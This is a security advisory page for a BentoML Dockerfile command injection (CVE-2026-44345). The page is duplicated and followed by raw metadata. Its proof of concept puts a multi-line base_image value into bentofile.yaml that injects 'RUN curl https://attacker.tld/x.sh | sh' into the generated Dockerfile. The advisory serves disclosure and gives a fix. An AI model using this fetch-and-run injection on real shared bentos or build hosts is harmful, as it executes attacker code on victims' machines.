Skip to content
BentoMLGHSA-78f9-r8mh-4xm2

BentoML: command injection

High8.8CVE-2026-44345 · Published May 11, 2026 · updated Jun 9, 2026

The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28): ```jinja FROM {{ __options__base_image }} AS base-container ``` `__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`): ```python base_image: t.Optional[str] = None ``` No `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is. ## PoC Malicious `bentofile.yaml`: ```yaml docker: base_image: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch ``` Minimal reproduction of the unsafe interpo...

GitHub advisory

Affected versions

PackageAffectedFixed in
bentoml
PyPI
< 1.4.391.4.39
Details and references

The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28): ```jinja FROM {{ __options__base_image }} AS base-container ``` `__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`): ```python base_image: t.Optional[str] = None ``` No `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is. ## PoC Malicious `bentofile.yaml`: ```yaml docker: base_image: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch ``` Minimal reproduction of the unsafe interpolation: ```python from jinja2 import Environment env = Environment() malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch' out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious) print(out) ``` Output: ``` FROM python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch AS base-container ``` Three valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error. ## Impact Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment. ## Suggested fix Validate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\n`, `\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})? CVE-2026-44345: BentoML high vulnerability | Advisories

covers the practical Docker reference format. The same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`: * `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) , same newline-injection class for path entries from `Image.build_include(*file_paths)`. * `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` , currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`. ## References * Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043. * CWE-78: https://cwe.mitre.org/data/definitions/78.html

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-78
Also known as
CVE-2026-44345, PYSEC-2026-189

More BentoML advisories

All BentoML

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.

CVE-2026-44345: BentoML high vulnerability | Advisories
Skip to content
BentoMLGHSA-78f9-r8mh-4xm2

BentoML: command injection

High8.8CVE-2026-44345 · Published May 11, 2026 · updated Jun 9, 2026

The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28): ```jinja FROM {{ __options__base_image }} AS base-container ``` `__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`): ```python base_image: t.Optional[str] = None ``` No `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is. ## PoC Malicious `bentofile.yaml`: ```yaml docker: base_image: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch ``` Minimal reproduction of the unsafe interpo...

GitHub advisory

Affected versions

PackageAffectedFixed in
bentoml
PyPI
< 1.4.391.4.39
Details and references

The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28): ```jinja FROM {{ __options__base_image }} AS base-container ``` `__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`): ```python base_image: t.Optional[str] = None ``` No `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is. ## PoC Malicious `bentofile.yaml`: ```yaml docker: base_image: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch ``` Minimal reproduction of the unsafe interpolation: ```python from jinja2 import Environment env = Environment() malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch' out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious) print(out) ``` Output: ``` FROM python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch AS base-container ``` Three valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error. ## Impact Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment. ## Suggested fix Validate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\n`, `\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})? CVE-2026-44345: BentoML high vulnerability | Advisories

covers the practical Docker reference format. The same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`: * `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) , same newline-injection class for path entries from `Image.build_include(*file_paths)`. * `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` , currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`. ## References * Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043. * CWE-78: https://cwe.mitre.org/data/definitions/78.html

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-78
Also known as
CVE-2026-44345, PYSEC-2026-189

More BentoML advisories

All BentoML

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.

covers the practical Docker reference format.\n\nThe same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`:\n\n* `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) , same newline-injection class for path entries from `Image.build_include(*file_paths)`.\n* `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` , currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`.\n\n## References\n\n* Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.\n* CWE-78: https://cwe.mitre.org/data/definitions/78.html","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cvssVersion":"3.1","severitySource":"github","cwes":["CWE-78"],"refs":["https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2","https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44","https://nvd.nist.gov/vuln/detail/CVE-2026-44345","https://github.com/bentoml/BentoML","https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-189.yaml"],"affected":[{"product":"bentoml","ecosystem":"PyPI","package":"bentoml","introduced":"","fixed":"1.4.39","lastAffected":""}],"changes":[]},"related":[{"id":"PYSEC-2026-2089","cve":"CVE-2026-15035","aliases":["CVE-2026-15035"],"summary":"A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function async_run_command of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement.","title":"BentoML: command injection","severity":"high","score":7.8,"product":"bentoml","productLabel":"","products":["bentoml"],"fixed":"","fixFirst":"","fixedN":0,"published":"2026-07-08","modified":"2026-07-10","withdrawn":"","url":"https://osv.dev/vulnerability/PYSEC-2026-2089","foundAt":"2026-09-24 23:00:19"},{"id":"GHSA-w2pm-x38x-jp44","cve":"CVE-2026-44346","aliases":["CVE-2026-44346","PYSEC-2026-190"],"summary":"Dockerfile command injection via envs[*].name in bentofile.yaml (sibling fix-bypass of CVE-2026-33744 and CVE-2026-35043)","title":"BentoML: command injection","severity":"high","score":8.8,"product":"bentoml","productLabel":"","products":["bentoml"],"fixed":"1.4.39","fixFirst":"1.4.39","fixedN":1,"published":"2026-05-11","modified":"2026-06-09","withdrawn":"","url":"https://github.com/advisories/GHSA-w2pm-x38x-jp44","foundAt":"2026-09-24 23:00:19"},{"id":"GHSA-mcfx-4vc6-qgxv","cve":"CVE-2026-40610","aliases":["CVE-2026-40610","PYSEC-2026-2399"],"summary":"BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context","title":"BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context","severity":"medium","score":5.5,"product":"bentoml","productLabel":"","products":["bentoml"],"fixed":"1.4.39","fixFirst":"1.4.39","fixedN":1,"published":"2026-05-07","modified":"2026-07-13","withdrawn":"","url":"https://github.com/advisories/GHSA-mcfx-4vc6-qgxv","foundAt":"2026-09-24 23:00:19"},{"id":"GHSA-v959-cwq9-7hr6","cve":"CVE-2026-35044","aliases":["CVE-2026-35044","PYSEC-2026-159"],"summary":"BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation","title":"BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation","severity":"high","score":8.8,"product":"bentoml","productLabel":"","products":["bentoml"],"fixed":"1.4.38","fixFirst":"1.4.38","fixedN":1,"published":"2026-04-03","modified":"2026-06-08","withdrawn":"","url":"https://github.com/advisories/GHSA-v959-cwq9-7hr6","foundAt":"2026-09-24 23:00:19"},{"id":"GHSA-fgv4-6jr3-jgfw","cve":"CVE-2026-35043","aliases":["CVE-2026-35043","PYSEC-2026-158"],"summary":"BentoML: Command Injection in cloud deployment setup script","title":"BentoML: Command Injection in cloud deployment setup script","severity":"high","score":7.8,"product":"bentoml","productLabel":"","products":["bentoml"],"fixed":"1.4.38","fixFirst":"1.4.38","fixedN":1,"published":"2026-04-03","modified":"2026-06-08","withdrawn":"","url":"https://github.com/advisories/GHSA-fgv4-6jr3-jgfw","foundAt":"2026-09-24 23:00:19"},{"id":"GHSA-jfjg-vc52-wqvf","cve":"CVE-2026-33744","aliases":["CVE-2026-33744","PYSEC-2026-157"],"summary":"BentoML has Dockerfile Command Injection via system_packages in bentofile.yaml","title":"BentoML has Dockerfile Command Injection via system_packages in bentofile.yaml","severity":"high","score":7.8,"product":"bentoml","productLabel":"","products":["bentoml"],"fixed":"1.4.37","fixFirst":"1.4.37","fixedN":1,"published":"2026-03-26","modified":"2026-06-08","withdrawn":"","url":"https://github.com/advisories/GHSA-jfjg-vc52-wqvf","foundAt":"2026-09-24 23:00:19"}]}}